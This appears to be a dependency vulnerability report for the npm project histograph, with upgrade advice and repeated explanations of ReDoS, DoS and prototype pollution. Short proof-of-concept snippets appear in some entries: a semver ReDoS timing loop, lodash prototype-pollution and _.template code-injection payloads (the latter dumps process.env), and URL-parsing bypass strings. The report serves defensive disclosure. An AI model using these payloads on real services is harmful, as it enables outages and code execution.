Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-bump@0.3.4 semver@4.3.6
    Remediation: Upgrade to exectimer@2.0.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: socket.io-parser
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.

Overview

socket.io-parser is a socket.io protocol parser

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large packet because a concatenation approach is used.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade socket.io-parser to version 3.3.2, 3.4.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: xss
  • Introduced through: xss@0.2.18

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph xss@0.2.18
    Remediation: Upgrade to xss@1.0.10.

Overview

xss is a package that sanitizes untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the stripCommentTag function in lib/default.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade xss to version 1.0.10 or higher.

References

high severity

Improper Handling of Extra Parameters

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2 follow-redirects@1.5.10
    Remediation: Upgrade to axios@0.20.0.

Overview

Affected versions of this package are vulnerable to Improper Handling of Extra Parameters due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Remediation

Upgrade follow-redirects to version 1.15.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.12.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

PoC by Snyk

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

For more information, check out our blog post

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.12 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0 and inquirer@0.10.1

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.28.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: grunt
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

grunt is a JavaScript task runner.

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.

Remediation

Upgrade grunt to version 1.3.0 or higher.

References

high severity

Improper Privilege Management

  • Vulnerable module: shelljs
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 shelljs@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.

Overview

shelljs is a wrapper for the Unix shell commands for Node.js.

Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.

Note: Thi only impacts the synchronous version of shell.exec().

Remediation

Upgrade shelljs to version 0.8.5 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

